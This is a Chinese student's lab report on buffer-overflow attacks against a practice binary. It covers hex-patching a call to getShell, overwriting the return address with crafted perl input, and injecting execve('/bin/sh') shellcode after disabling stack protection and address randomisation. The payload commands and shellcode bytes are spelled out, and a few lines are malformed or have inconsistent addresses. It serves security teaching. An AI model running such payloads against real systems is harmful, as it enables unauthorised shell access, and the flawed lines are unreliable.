20222311 2024-2025-1 《网络与系统攻防技术》实验一实验报告

news/2024/10/11 19:06:26

20222311 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验内容
本次实验主要内容为 BOF 注入攻击,任务如下:

  • 掌握反汇编及其指令

  • 修改程序的机器指令,从而实现 BOF 注入攻击

  • 注入一段 Shellcode,以实现 BOF 注入攻击

2.实验过程
任务 1:修改可执行文件机器指令,改变程序执行流程
(一)把pwn1文件改名为pwn20222311,下载目标文件pwn20222311反汇编。



(二)接着使用 vi 工具(vi pwn20222311)进入该文件进行修改,如下:

(三)以下操作是在vi内
1.按ESC键
2.输入如下,将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq





8.再反汇编看一下,call指令是否正确调用getShell
root@KaliYL:~# objdump -d pwn20222311 | more
9.运行下改后的代码,会得到shell提示符#

任务 2:通过 BOF 注入攻击,实现改变程序执行流程
(一)安装gdb,使用sudo apt update和sudo apt install gdb命令安装gdb

(二)安装完成后对pwn20222311-2进行gdb调试,输入1111111122222222333333334444444455555555时可以看到eip的值0x35353535,也就是5555的ASCII码。
输入命令 info r查看寄存器eip的值,确认输入字符串哪几个字符会覆盖到返回地址。


(三)把1234换成getShell的地址0x0804847d,我们需要输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input20222311
生成一个包含这些16进制内容的文件(\x0a表示回车);

使用16进制查看指令xxd input20222311查看input文件的内容

确认无误后使用(cat input20222311;cat) | ./pwn20222311-2将input中的字符串作为可执行文件的输入。

成功获取shell,即成功调用了getShell函数。
任务 3:通过 BOF 注入攻击,注入 Shellcode 并执行。
(1)首先需要在学习通平台下载资源,解压后将文件夹传输到虚拟机中;然后,依次输入以下命令
①sudo apt-get install libelf-dev

②./configure

③make

④sudo make install

完成execstack的安装
(二)通过以下命令修改设置
1.execstack -s pwn20222311-5设置堆栈可执行
2.execstack -q pwn20222311-5 查询文件的堆栈是否可执行
3.more /proc/sys/kernel/randomize_va_space 查看地址随机化的状态
4.echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址随机化
5.more /proc/sys/kernel/randomize_va_space

(三)构造要使用的payload。Linux下有两种基本构造攻击buf的方法:

  • retaddr+nop+shellcode
  • nop+shellcode+retaddr

使用以下命令进行构造shellcode的输入(x1x2x3x4是用来占位的,后续将替换为注入shellcode的地址,也就是foo函数中return address的位置,这个地址需要我们接下来去gdb分析寻找),并将其放入名为input_shellcode的文件中:
Perl -e print'"\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
输入命令(cat input_shellcode; cat) | ./pwn20222311-5将input_shellcode的输入内容作为pwn20222311-5的输入

(四)新打开一个新终端,输入ps -ef | grep pwn20222311-5,查看pwn20222311-5文件的进程以及进程号。

可以看到,进程号分别为5875和6104。
此后,再在这个新终端中使用gdb对pwn20222311-5进行调试,来获取foo函数中returnaddress的位置。
输入命令attach 5875,输入刚刚查找的进程号

输入命令disassemble foo,反编译foo函数并进行分析

可以看到,ret的地址为0x080484ae,因此,在这里设置断点,继续分析
输入命令break *0x080484ae

在另外一个终端中按下回车

在新终端输入c,c表示continue继续运行

输入info r esp查看栈顶指针所在位置,如下图可知栈顶指针所在的位置为0xffffd37c;

栈顶指针地址再加4字节,就是shellcode应该处于的地址,即0xffffcfac+4=0xffffd380。
现在可以进行shellcode的注入,最终获取shell。将0x04030201换成上述我们计算出来的位置0xffffd380,且用机器存储的方式,颠倒一下,重新进行输入。在原终端中输入
perl -e print'"\80\d3\ff\ff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
然后再输入(cat input_shellcode; cat) | ./pwn20222311-5,将input_shellcode的输入内容作为pwn20222317-5的输入。

3.问题及解决方案

  • 问题 1:在进行任务 1 时,查询十六进制文本时,按照指导书使用“/e8d3”无法查询到相应内容。
    解决方案:查询“d3ff”就能查到该内容。
  • 问题2:一开始输入./configure报错

    解决方案:使用命令cd prelink转换目录
  • 问题3:一开始没有把下载好的prelink移到虚拟机的桌面
    解决方案,把prelink移到桌面后得以解决
  • 问题4:在输入perl -e 'print "A" x 32;print' "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode代码时出现了错误
    解决方案:仔细检查代码后发现少了一个引号,补充完整后正常运行。

4.学习感悟、思考等

在实验中,我首先分析了pwn程序的执行流程,了解到程序的main函数会调用foo函数,而foo函数会回显用户输入的字符串。这个简单的功能背后隐藏着一个秘密:一个名为getShell的代码片段,它能够返回一个Shell,但在正常情况下不会被执行。通过这次实践,我学习了两种方法来触发getShell函数的执行。第一种方法是通过缓冲区溢出攻击,通过精心构造的输入覆盖程序的控制流,使得程序跳转到getShell函数的地址上执行。第二种方法涉及到了对程序二进制文件的修改,通过直接修改程序的控制流来实现对getShell函数的调用。在这个过程中,我深刻体会到了逆向工程的魅力。通过分析程序的二进制代码,我能够理解程序的工作原理,并且找到了操纵程序执行流程的方法。这不仅仅是技术上的挑战,更是对逻辑思维和耐心的考验。此外,我还学习了如何注入并执行任意的Shellcode。这让我意识到了系统安全的重要性,以及攻击者可能利用的漏洞。通过这次实验,我更加明白了作为一名网络空间安全专业的学生,我需要不断学习新的安全技术和防御措施,以保护我们的系统不受攻击。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/70335.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

redis运维手册

目录redis集群资源配置建议Production environmentbasic replication配置replication的特性replication中的网络连接replication过程replication ID重启和故障转移下的部分同步Read-only replicareplication的可靠性replication expire keysreplica 和master的认证Redis的配置静…

20222409 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验内容 1.1逆向工程与汇编基础: 掌握了汇编指令(如NOP、JMP等)在控制程序流中的作用。 学会使用objdump反汇编可执行文件,并通过十六进制编辑器修改机器码以改变程序执行流程。 1.2缓冲区溢出(Buffer Overflow)原理: 了解堆栈结构和返回地址覆盖,理解如何通过超长输…

常见魔改UPX

几篇大佬的文章: https://cujo.com/blog/upx-anti-unpacking-techniques-in-iot-malware/ https://www.cnblogs.com/ichunqiu/p/7245329.html https://bbs.kanxue.com/thread-275753.htm https://www.52pojie.cn/forum.php?mod=viewthread&tid=326995 Header Structuresp_…

P3959 [NOIP2017 提高组] 宝藏 题解

P3959 [NOIP2017 提高组] 宝藏 题解 搜索魅力时刻 怎么说,四种做法比较??的模拟退火 跑得快但是 正确性有问题的 状压DP 跑得慢但是 一定正确的 状压 DP 时间复杂度很玄学的DFS+剪枝我就选择了搜索的做法 先打个暴搜,70pts点击查看暴搜代码 #include <bits/stdc++.h>…

AMIS低代码平台,前端开发常见问题(样式篇 图片配置)

关于样式问题在上篇中已经总结过了。 这篇主要说下关于图片的引入。1.页面上的图片引入。 (1)将图片放入apps\bmc\page\bmc-page-config\image目录下。 (2)在静态资源中引入,如下图: (3)在图片控件地址栏中引入也可以直接在地址栏中写入图片路径 2.背景图片的处理 对于…

coca after two months vs in two months

This is the third time in two months.这是两个月内的第三次了。Its the second time in two months Compton Power Equipment at 5375 Urbana Road has been broken into this way.这是两个月内第二次有人闯入厄巴纳路5375号的康普顿电力设备公司。You know, in two months t…